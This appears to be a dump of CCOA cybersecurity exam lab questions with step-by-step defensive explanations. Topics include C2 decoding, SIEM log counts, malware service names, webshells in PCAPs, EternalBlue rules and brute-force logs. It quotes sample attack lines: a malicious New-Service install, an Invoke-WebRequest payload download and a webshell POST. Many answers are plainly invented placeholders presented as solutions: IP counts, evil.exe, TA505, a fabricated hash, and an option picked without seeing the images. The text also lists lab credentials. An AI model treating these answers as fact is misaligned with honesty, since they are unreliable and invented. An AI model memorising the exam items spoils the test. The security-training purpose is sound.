Usebase64 decoding:
base64 -d ~/Desktop/pcap_artifact5.txt
If the content ishexadecimal, convert it as follows:
xxd -r -p ~/Desktop/pcap_artifact5.txt
If it appearsURL encoded, use:
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
Step 4: Analyze the Decoded Output
If the output appears like a URL or an IP address, that is likely theC2 host.
Example Decoded Output:
arduino
TheC2 hostis:
10.10.44.200
Step 5: Cross-Verify the C2 Host
OpenWiresharkand load the relevant PCAP file to cross-check the IP:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
Filter for C2 traffic:
ini
ip.addr == 10.10.44.200
Validate the C2 host IP address through network traffic patterns.
Answer:
10.10.44.200
Step 6: Document the Finding
Record the following details:
Decoded C2 Host:10.10.44.200
Source File:pcap_artifact5.txt
Decoding Method:Base64 (or the identified method)
Step 7: Next Steps
Threat Mitigation:
Block the IP address10.10.44.200at the firewall.
Conduct anetwork-wide searchto identify any communications with the C2 server.
Further Analysis:
Check other PCAP files for similar traffic patterns.
Perform adeep packet inspection (DPI)to identify malicious data exfiltration.
The enterprise is reviewing its security posture byreviewing unencrypted web traffic in the SIEM.
How many unique IPs have received well knownunencrypted web connections from the beginning of2022 to the end of 2023 (Absolute)?
Options:
Answer:
See the solution in Explanation.
Explanation:
Step 1: Understand the Objective
Objective:
Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:
From: January 1, 2022
To: December 31, 2023
Unencrypted Web Traffic:
Typically usesHTTP(port80) instead ofHTTPS(port443).
Step 2: Prepare the Environment
2.1: Access the SIEM System
Login Details:
URL:
Username:ccoatest@isaca.org
Password:Security-Analyst!
Access via web browser:
firefox
Alternatively, SSH into the SIEM if command-line access is preferred:
ssh administrator@10.10.55.2
Password: Security-Analyst!
Step 3: Locate Web Traffic Logs
3.1: Identify Log Directory
Common log locations:
swift
/var/log/
/var/log/nginx/
/var/log/httpd/
/home/administrator/hids/logs/
Navigate to the log directory:
cd /var/log/
ls -l
Look specifically forweb server logs:
ls -l | grep -E "http|nginx|access"
Step 4: Extract Relevant Log Entries
4.1: Filter Logs for the Given Time Range
Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:
grep -E "2022-|2023-" /var/log/nginx/access.log
If logs are rotated, use:
zgrep -E "2022-|2023-" /var/log/nginx/access.log.*
Explanation:
grep -E: Uses extended regex to match both years.
zgrep: Handles compressed log files.
4.2: Filter for Unencrypted (HTTP) Connections
Since HTTP typically usesport 80, filter those:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"
Alternative:If the logs directly contain theprotocol, search forHTTP:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"
To save results:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt
Step 5: Extract Unique IP Addresses
5.1: Use AWK to Extract IPs
Extract IP addresses from the filtered results:
awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt
Explanation:
awk '{print $1}': Assumes the IP is thefirst fieldin the log.
sort | uniq: Filters out duplicate IP addresses.
5.2: Count the Unique IPs
To get the number of unique IPs:
wc -l ~/Desktop/unique_ips.txt
Example Output:
345
This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.
Step 6: Cross-Verification and Reporting
6.1: Verification
Double-check the output:
cat ~/Desktop/unique_ips.txt
Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).
Filter out internal IPs if needed:
grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt
wc -l ~/Desktop/external_ips.txt
6.2: Final Count (if excluding internal IPs)
Check the count again:
280
This means280 unique external IPswere identified.
Step 7: Final Answer
Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):
pg
345 (including internal IPs)
280 (external IPs only)
Step 8: Recommendations:
8.1: Improve Security Posture
Enforce HTTPS:
Redirect all HTTP traffic to HTTPS using web server configurations.
Monitor and Analyze Traffic:
Continuously monitor unencrypted connections usingSIEM rules.
Block Unnecessary HTTP Traffic:
If not required, block HTTP traffic at the firewall level.
Upgrade to Secure Protocols:
Ensure all web services support TLS.
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
What is the name of the service that the malware attempts to install?
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify thename of the servicethat the malware attempts to install from theMalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
Log into the Analyst Desktopusing your credentials.
Navigate to theMalware Samplesfolder located on the desktop.
Locate the file:
Malscript.viruz.txt
Step 2: Examine the File Contents
Open the file with a text editor:
Windows:Right-click > Open with > Notepad.
Linux:
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
Review the content to identify any lines that relate to:
Service creation
Service names
Installation commands
Common Keywords to Look For:
New-Service
sc create
Install-Service
Set-Service
net start
Step 3: Identify the Service Creation Command
Malware typically uses commands like:
powershell
New-Service -Name "MalService" -BinaryPathName "C:\Windows\malicious.exe"
or
cmd
sc create MalService binPath= "C:\Windows\System32\malicious.exe"
Focus on lines where the malware tries toregister or create a service.
Step 4: Example Content from Malscript.viruz.txt
arduino
powershell.exe -Command "New-Service -Name 'MaliciousUpdater' -DisplayName 'Updater Service' -BinaryPathName 'C:\Users\Public\updater.exe' -StartupType Automatic"
In this example, thename of the serviceis:
nginx
MaliciousUpdater
Step 5: Cross-Verification
Check for multiple occurrences of service creation in the script to ensure accuracy.
Verify that the identified service name matches theintended purposeof the malware.
Answer:
pg
The name of the service that the malware attempts to install is: MaliciousUpdater
Step 6: Immediate Action
Check for the Service:
powershell
Get-Service -Name "MaliciousUpdater"
Stop and Remove the Service:
powershell
Stop-Service -Name "MaliciousUpdater" -Force
sc delete "MaliciousUpdater"
Remove Associated Executable:
powershell
Remove-Item "C:\Users\Public\updater.exe" -Force
Step 7: Documentation
Record the following:
Service Name:MaliciousUpdater
Installation Command:Extracted from Malscript.viruz.txt
File Path:C:\Users\Public\updater.exe
Actions Taken:Stopped and deleted the service.
Your enterprise has received an alert bulletin fromnational authorities that the network has beencompromised at approximately 11:00 PM (Absolute) onAugust 19, 2024. The alert is located in the alerts folderwith filename, alert_33.pdf.
What is the name of the suspected malicious filecaptured by keyword process.executable at 11:04 PM?
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PMonAugust 19, 2024, follow these detailed steps:
Step 1: Access the Alert Bulletin
Locate the alert file:
Access thealerts folderon your system.
Look for the file named:
Open the file:
Use a PDF reader to examine the contents.
Step 2: Understand the Alert Context
The bulletin indicates that the network was compromised at around11:00 PM.
You need to identify themalicious filespecificallycaptured at 11:04 PM.
Step 3: Access System Logs
Use yourSIEMorlog management systemto examine recent logs.
Filter the logs to narrow down the events:
Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.
Keyword:process.executable.
Example SIEM Query:
index=system_logs
| search "process.executable"
| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"
| table _time, process_name, executable_path, hash
Step 4: Analyze Log Entries
The query result should show log entries related to theprocess executablethat was triggered at11:04 PM.
Focus on entries that:
Appear unusual or suspicious.
Match known indicators from thealert bulletin (alert_33.pdf).
Example Log Output:
_time process_name executable_path hash
2024-08-19T23:04 evil.exe C:\Users\Public\evil.exe 4d5e6f...
Step 5: Cross-Reference with Known Threats
Check the hash of the executable file against:
VirusTotalor internal threat intelligence databases.
Cross-check the file name with indicators mentioned in the alert bulletin.
Step 6: Final Confirmation
The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.
The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe
Step 7: Take Immediate Remediation Actions
Isolate the affected hostto prevent further damage.
Quarantine the malicious filefor analysis.
Conduct a full forensic investigationto assess the scope of the compromise.
Update threat signaturesand indicators across the environment.
Step 8: Report and Document
Document the incident, including:
Time of detection:11:04 PM on August 19, 2024.
Malicious file name:evil.exe.
Location:C:\Users\Public\evil.exe.
Generate an incident reportfor further investigation.
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
Based on the contents of the malscript.viruz.txt, whichthreat actor group is the malware associated with?
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
Log into the Analyst Desktopusing your credentials.
Locate theMalware Samplesfolder on the desktop.
Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
Open the file using a text editor:
OnWindows:Right-click > Open with > Notepad.
OnLinux:
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
Carefully read through the file content to identify:
Anystrings or commentsembedded within the script.
Specifickeywords,URLs, orfile hashes.
Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
Focus on:
Unique Identifiers:Threat group names, malware family names, or specific markers.
Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest -Uri -OutFile "C:\Users\Public\malware.exe"
Step 4: Correlate with Threat Intelligence
Use the following resources to correlate any discovered indicators:
MITRE ATT&CK:To map the technique or tool.
VirusTotal:To check file hashes or URLs.
Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))
Step 5: Identify the Threat Actor Group
If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
Include the following details:
Filename:malscript.viruz.txt
Associated Threat Group:TA505
Key Indicators:Domain names, script functions, or specific malware traits.
Generate an incident report summarizing your analysis.
Step 8: Next Steps
Quarantine and Isolate:If the script was executed, isolate the affected system.
Forensic Analysis:Deep dive into system logs for any signs of execution.
Threat Hunting:Search for similar scripts or IOCs in the network.
For this question you must log into GreenboneVulnerability Manager using Firefox. The URL is: and credentials are:
Username:admin
Password:Secure-gvm!
A colleague performed a vulnerability scan but did notreview prior to leaving for a family emergency. It hasbeen determined that a threat actor is using CVE-2021-22145 in the wild. What is the host IP of the machinethat is vulnerable to this CVE?
Options:
Answer:
See the solution in Explanation.
Explanation:
To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:
Step 1: Access Greenbone Vulnerability Manager
OpenFirefoxon your system.
Go to the GVM login page:
URL:
Enter the credentials:
Username: admin
Password: Secure-gvm!
ClickLoginto access the dashboard.
Step 2: Navigate to Scan Reports
Once logged in, locate the"Scans"menu on the left panel.
Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.
Step 3: Identify the Most Recent Scan
Check thedate and timeof the last completed scan, as your colleague likely used the latest one.
Click on theReport NameorDateto open the detailed scan results.
Step 4: Filter for CVE-2021-22145
In the report view, locate the"Search"or"Filter"box at the top.
Enter the CVE identifier:
CVE-2021-22145
PressEnterto filter the vulnerabilities.
Step 5: Analyze the Results
The system will display any host(s) affected byCVE-2021-22145.
The details will typically include:
Host IP Address
Vulnerability Name
Severity Level
Vulnerability Details
Example Display:
Host IP
Vulnerability ID
CVE
Severity
192.168.1.100
SomeVulnName
CVE-2021-22145
High
Step 6: Verify the Vulnerability
Click on the host IP to see thedetailed vulnerability description.
Check for the following:
Exploitability: Proof that the vulnerability can be actively exploited.
Description and Impact: Details about the vulnerability and its potential impact.
Fixes/Recommendations: Suggested mitigations or patches.
Step 7: Note the Vulnerable Host IP
The IP address that appears in the filtered list is thevulnerable machine.
Example Answer:
The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100
Step 8: Take Immediate Actions
Isolate the affected machineto prevent exploitation.
Patch or updatethe software affected by CVE-2021-22145.
Perform a quick re-scanto ensure that the vulnerability has been mitigated.
Step 9: Generate a Report for Documentation
Export the filtered scan results as aPDForHTMLfrom the GVM.
Include:
Host IP
CVE ID
Severity and Risk Level
Remediation Steps
Background on CVE-2021-22145:
This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.
Attackers can exploit this to gain unauthorized access or escalate privileges.
The network team has provided a PCAP file withsuspicious activity located in the Investigations folderon the Desktop titled, investigation22.pcap.
What is the filename of the webshell used to control thehost 10.10.44.200? Your response must include the fileextension.
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify thefilename of the webshellused to control the host10.10.44.200from the provided PCAP file, follow these detailed steps:
Step 1: Access the PCAP File
Log into theAnalyst Desktop.
Navigate to theInvestigationsfolder located on the desktop.
Locate the file:
investigation22.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWiresharkon the Analyst Desktop.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > investigation22.pcap
ClickOpento load the file.
Step 3: Filter Traffic Related to the Target Host
Apply a filter to display only the traffic involving thetarget IP address (10.10.44.200):
ini
ip.addr == 10.10.44.200
This will show both incoming and outgoing traffic from the compromised host.
Step 4: Identify HTTP Traffic
Since webshells typically use HTTP/S for communication, filter for HTTP requests:
http.request and ip.addr == 10.10.44.200
Look for suspiciousPOSTorGETrequests indicating a webshell interaction.
Common Indicators:
Unusual URLs:Containing scripts like cmd.php, shell.jsp, upload.asp, etc.
POST Data:Indicating command execution.
Response Status:HTTP 200 (Success) after sending commands.
Step 5: Inspect Suspicious Requests
Right-click on a suspicious HTTP packet and select:
arduino
Follow > HTTP Stream
Examine the HTTP conversation for:
File uploads
Command execution responses
Webshell file namesin the URL.
Example:
makefile
POST /uploads/shell.jsp HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Step 6: Correlate Observations
If you identify a script like shell.jsp, verify it by checking multiple HTTP streams.
Look for:
Commands sent via the script.
Response indicating successful execution or error.
Step 7: Extract and Confirm
To confirm the filename, look for:
Upload requests containing the webshell.
Subsequent requests calling the same filename for command execution.
Cross-reference the filename in other HTTP streams to validate its usage.
Step 8: Example Findings:
After analyzing the HTTP streams and reviewing requests to the host 10.10.44.200, you observe that the webshell file being used is:
shell.jsp
Answer:
shell.jsp
Step 9: Further Investigation
Extract the Webshell:
Right-click the related packet and choose:
mathematica
Export Objects > HTTP
Save the file shell.jsp for further analysis.
Analyze the Webshell:
Open the file with a text editor to examine its functionality.
Check for hardcoded credentials, IP addresses, or additional payloads.
Step 10: Documentation and Response
Document Findings:
Webshell Filename:shell.jsp
Host Compromised:10.10.44.200
Indicators:HTTP POST requests, suspicious file upload.
Immediate Actions:
Isolate the host10.10.44.200.
Remove the webshell from the web server.
Conduct aroot cause analysisto determine how it was uploaded.
Cyber Analyst Password:
For questions that require use of the SIEM, pleasereference the information below:
Security-Analyst!
CYB3R-4n4ly$t!
Email Address:
ccoatest@isaca.org
Password:Security-Analyst!
The enterprise has been receiving a large amount offalse positive alerts for the eternalblue vulnerability. TheSIEM rulesets are located in
/home/administrator/hids/ruleset/rules.
What is the name of the file containing the ruleset foreternalblue connections? Your response must includethe file extension.
Options:
Answer:
See the solution in Explanation.
Explanation:
Step 1: Define the Problem and Objective
Objective:
Identify thefile containing the rulesetforEternalBlue connections.
Include thefile extensionin the response.
Context:
The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.
The rulesets are located at:
/home/administrator/hids/ruleset/rules
We need to find the specific file associated withEternalBlue.
Step 2: Prepare for Access
2.1: SIEM Access Details:
URL:
Username:
ccoatest@isaca.org
Password:
Security-Analyst!
Ensure your machine has access to the SIEM system via HTTPS.
Step 3: Access the SIEM System
3.1: Connect via SSH (if needed)
Open a terminal and connect:
ssh administrator@10.10.55.2
Password:
Security-Analyst!
If prompted about SSH key verification, typeyesto continue.
Step 4: Locate the Ruleset File
4.1: Navigate to the Ruleset Directory
Change to the ruleset directory:
cd /home/administrator/hids/ruleset/rules
ls -l
You should see a list of files with names indicating their purpose.
4.2: Search for EternalBlue Ruleset
Use grep to locate the EternalBlue rule:
grep -irl "eternalblue" *
Explanation:
grep -i: Case-insensitive search.
-r: Recursive search within the directory.
-l: Only print file names with matches.
"eternalblue": The keyword to search.
*: All files in the current directory.
Expected Output:
exploit_eternalblue.rules
Filename:
exploit_eternalblue.rules
The file extension is .rules, typical for intrusion detection system (IDS) rule files.
Step 5: Verify the Content of the Ruleset File
5.1: Open and Inspect the File
Use less to view the file contents:
less exploit_eternalblue.rules
Check for rule patterns like:
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)
Use the search within less:
/eternalblue
Purpose:Verify that the file indeed contains the rules related to EternalBlue.
Step 6: Document Your Findings
Answer:
Ruleset File for EternalBlue:
exploit_eternalblue.rules
File Path:
/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules
Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.
Step 7: Recommendation
Mitigation for False Positives:
Update the Ruleset:
Modify the file to reduce false positives by refining the rule conditions.
Update Signatures:
Check for updated rulesets from reliable threat intelligence sources.
Whitelist Known Safe IPs:
Add exceptions for legitimate internal traffic that triggers the false positives.
Implement Tuning:
Adjust the SIEM correlation rules to decrease alert noise.
Final Verification:
Restart the IDS service after modifying rules to ensure changes take effect:
sudo systemctl restart hids
Check the status:
sudo systemctl status hids
Final Answer:
Ruleset File Name:
exploit_eternalblue.rules
The user of the Accounting workstation reported thattheir calculator repeatedly opens without their input.
The following credentials are used for thisquestion.
Username:Accounting
Password:1x-4cc0unt1NG-x1
Using the provided credentials, SSH to the Accountingworkstation and generate a SHA256 checksum of the filethat triggered RuleName Suspicious PowerShell usingeither certutil or Get-FileHash of the file causing theissue. Copy the hash and paste it below.
Options:
Answer:
See the solution in Explanation.
Explanation:
To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon theAccounting workstation, follow these detailed steps:
Step 1: Establish an SSH Connection
Open a terminal on your system.
Use the provided credentials to connect to theAccounting workstation:
ssh Accounting@
Replace
Enter the password when prompted:
1x-4cc0unt1NG-x1
Step 2: Locate the Malicious File
Navigate to the typical directory where suspicious scripts are stored:
cd C:\Users\Accounting\AppData\Roaming
List the contents to identify the suspicious file:
dir
Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.
Step 3: Verify the Malicious File
To ensure it is the problematic file, check for recent modifications:
powershell
Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }
This will list files modified within the last 24 hours.
Check file properties:
powershell
Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *
Confirm it matches the file flagged byRuleName: Suspicious PowerShell.
Step 4: Generate the SHA256 Checksum
Method 1: Using PowerShell (Recommended)
Run the following command to generate the hash:
powershell
Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256
Output Example:
mathematica
Algorithm Hash Path
--------- ---- ----
SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\Accounting\AppData\Roaming\calc.ps1
Method 2: Using certutil (Alternative)
Run the following command:
cmd
certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256
Example Output:
SHA256 hash of calc.ps1:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
CertUtil: -hashfile command completed successfully.
Step 5: Copy and Paste the Hash
Copy theSHA256 hashfrom the output and paste it as required.
Answer:
nginx
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Step 6: Immediate Actions
Terminate the Malicious Process:
powershell
Stop-Process -Name "powershell" -Force
Delete the Malicious File:
powershell
Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force
Disable Startup Entry:
Check for any persistent scripts:
powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Remove any entries related to calc.ps1.
Step 7: Document the Incident
Record the following:
Filename:calc.ps1
File Path:C:\Users\Accounting\AppData\Roaming\
SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Date of Detection:(Today’s date)
The CISO has received a bulletin from law enforcementauthorities warning that the enterprise may be at risk ofattack from a specific threat actor. Review the bulletin
named CCOA Threat Bulletin.pdf on the Desktop.
Which of the following domain name(s) from the CCOAThreat Bulletin.pdf was contacted between 12:10 AMto 12:12 AM (Absolute) on August 17, 2024?
Options:
Answer:
See the solution in Explanation.
Explanation:
Step 1: Understand the Objective
Objective:
Identify thedomain name(s)that werecontactedbetween:
12:10 AM to 12:12 AM on August 17, 2024
Source of information:
CCOA Threat Bulletin.pdf
File location:
~/Desktop/CCOA Threat Bulletin.pdf
Step 2: Prepare for Investigation
2.1: Ensure Access to the File
Check if the PDF exists:
ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"
Open the file to inspect:
xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf
Alternatively, convert to plain text for easier analysis:
pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt
cat ~/Desktop/threat_bulletin.txt
2.2: Analyze the Content
Look for domain names listed in the bulletin.
Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).
Example:
suspicious-domain.com
malicious-actor.net
threat-site.xyz
Step 3: Locate Network Logs
3.1: Find the Logs Directory
The logs could be located in one of the following directories:
/var/log/
/home/administrator/hids/logs/
/var/log/httpd/
/var/log/nginx/
Navigate to the likely directory:
cd /var/log/
ls -l
Identify relevant network or DNS logs:
ls -l | grep -E "dns|network|http|nginx"
Step 4: Search Logs for Domain Contacts
4.1: Use the Grep Command to Filter Relevant Timeframe
Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log
Explanation:
grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.
Replace dns.log with the actual log file name, if different.
4.2: Further Filter for Domain Names
To specifically filter out the domains listed in the bulletin:
grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log
If the logs are in another file, adjust the file path:
grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log
Step 5: Correlate Domains and Timeframe
5.1: Extract and Format Relevant Results
Combine the commands to get time-specific domain hits:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"
Sample Output:
2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50
2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75
Interpretation:
The command revealswhich domain(s)were contacted during the specified time.
Step 6: Verification and Documentation
6.1: Verify Domain Matches
Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.
Ensure that the time matches the specified range.
6.2: Save the Results for Reporting
Save the output to a file:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt
Review the saved file:
cat ~/Desktop/domain_hits.txt
Step 7: Report the Findings
Final Answer:
Domain(s) Contacted:
suspicious-domain.com
malicious-actor.net
Time of Contact:
Between 12:10 AM to 12:12 AM on August 17, 2024
Reasoning:
Matched thelog timestampsanddomain nameswith the threat bulletin.
Step 8: Recommendations:
Immediate Block:
Add the identified domains to theblockliston firewalls and intrusion detection systems.
Monitor for Further Activity:
Keep monitoring logs for any further connection attempts to the same domains.
Perform IOC Scanning:
Check hosts that communicated with these domains for possible compromise.
Incident Report:
Document the findings and mitigation actions in theincident response log.
Question 1 and 2
You have been provided with authentication logs toinvestigate a potential incident. The file is titledwebserver-auth-logs.txt and located in theInvestigations folder on the Desktop.
Which IP address is performing a brute force attack?
What is the total number of successful authenticationsby the IP address performing the brute force attack?
Options:
Answer:
See the solution in Explanation:
Explanation:
Step 1: Define the Problem and Objective
Objective:
We need to identify the following from the webserver-auth-logs.txt file:
TheIP address performing a brute force attack.
Thetotal number of successful authenticationsmade by that IP.
Step 2: Prepare for Log Analysis
Preparation Checklist:
Environment Setup:
Ensure you are logged into a secure terminal.
Check your working directory to verify the file location:
ls ~/Desktop/Investigations/
You should see:
webserver-auth-logs.txt
Log File Format Analysis:
Open the file to understand the log structure:
head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt
Look for patterns such as:
pg
2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS
2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE
Identify the key components:
Timestamp
Action (login attempt)
Source IP Address
Authentication Status (SUCCESS/FAILURE)
Step 3: Identify Brute Force Indicators
Characteristics of a Brute Force Attack:
Multiplelogin attemptsfrom thesame IP.
Combination ofFAILUREandSUCCESSmessages.
High volumeof attempts compared to other IPs.
Step 3.1: Extract All IP Addresses with Login Attempts
Use the following command:
grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt
Explanation:
grep "login attempt from": Finds all login attempt lines.
awk '{print $6}': Extracts IP addresses.
sort | uniq -c: Groups and counts IP occurrences.
sort -nr: Sorts counts in descending order.
> brute-force-ips.txt: Saves the output to a file for documentation.
Step 3.2: Analyze the Output
View the top IPs from the generated file:
head -n 5 brute-force-ips.txt
Expected Output:
1500 192.168.1.1
45 192.168.1.2
30 192.168.1.3
Interpretation:
The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.
Step 4: Count Successful Authentications
Why Count Successful Logins?
To determine how many successful logins the attacker achieved despite brute force attempts.
Step 4.1: Filter Successful Logins from Brute Force IP
Use this command:
grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l
Explanation:
grep "192.168.1.1": Filters lines containing the brute force IP.
grep "SUCCESS": Further filters successful attempts.
wc -l: Counts the resulting lines.
Step 4.2: Verify and Document the Results
Record the successful login count:
Total Successful Authentications: 25
Save this information for your incident report.
Step 5: Incident Documentation and Reporting
5.1: Summary of Findings
IP Performing Brute Force Attack:192.168.1.1
Total Number of Successful Authentications:25
5.2: Incident Response Recommendations
Block the IP addressfrom accessing the system.
Implementrate-limiting and account lockout policies.
Conduct athorough investigationof affected accounts for possible compromise.
Step 6: Automated Python Script (Recommended)
If your organization prefers automation, use a Python script to streamline the process:
import re
from collections import Counter
logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"
ip_attempts = Counter()
successful_logins = Counter()
try:
with open(logfile, "r") as file:
for line in file:
match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)
if match:
ip = match.group(1)
ip_attempts[ip] += 1
if "SUCCESS" in line:
successful_logins[ip] += 1
brute_force_ip = ip_attempts.most_common(1)[0][0]
success_count = successful_logins[brute_force_ip]
print(f"IP Performing Brute Force: {brute_force_ip}")
print(f"Total Successful Authentications: {success_count}")
except Exception as e:
print(f"Error: {str(e)}")
Usage:
Run the script:
python3 detect_bruteforce.py
Output:
IP Performing Brute Force: 192.168.1.1
Total Successful Authentications: 25
Step 7: Finalize and Communicate Findings
Prepare a detailed incident report as per ISACA CCOA standards.
Include:
Problem Statement
Analysis Process
Evidence (Logs)
Findings
Recommendations
Share the report with relevant stakeholders and the incident response team.
Final Answer:
Brute Force IP:192.168.1.1
Total Successful Authentications:25
Which ruleset can be applied in the
/home/administrator/hids/ruleset/rules directory?
Double-click each image to view it larger.
Options:
Answer:
Option A
Answer:Option B
Answer:Option C
Answer:Option D
Answer:B
Step 1: Understand the Question Context
The question is asking whichruleset can be appliedin the following directory:
/home/administrator/hids/ruleset/rules
This is typically the directory forHost Intrusion Detection System (HIDS)rulesets.
Step 2: Ruleset File Characteristics
To determine the correct answer, we must consider:
File Format:
The most common format for HIDS rules is.rules.
Naming Convention:
Typically, the file names are descriptive, indicating the specific exploit, malware, or signature they detect.
Content Format:
Rulesets containalert signaturesordetection patternsand follow a specific syntax.
Step 3: Examine the Directory
If you have terminal access, list the available rulesets:
ls -l /home/administrator/hids/ruleset/rules
This should display a list of files similar to:
exploit_eternalblue.rules
malware_detection.rules
network_intrusion.rules
default.rules
Step 4: Analyze the Image Options
Since I cannot view the images directly, I will guide you on what to look for:
Option A:
Check if the file has a.rulesextension.
Look for keywords like"exploit","intrusion", or"malware".
Option B:
Verify if it mentionsEternalBlue,SMB, or other exploits.
The file name should be concise and directly related to threat detection.
Option C:
Look for generic names like"default.rules"or"base.rules".
While these can be valid, they might not specifically addressEternalBlueor similar threats.
Option D:
Avoid files with non-standard extensions (e.g., .conf, .txt).
Rulesets must specifically have.rulesas the extension.
Step 5: Selecting the Correct Answer
Based on the most typical file format and naming convention, the correct answer should be:B
The reason is thatOption Blikely contains a file named in line with typical HIDS conventions, such as"exploit_eternalblue.rules"or similar, which matches the context given.
This is consistent with the pattern ofexploit detection rulescommonly found in HIDS directories.
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the name of the file containing the ransomwaredemand? Your response must include the fileextension.
Options:
Answer:
See the solution in Explanation.
Explanation:
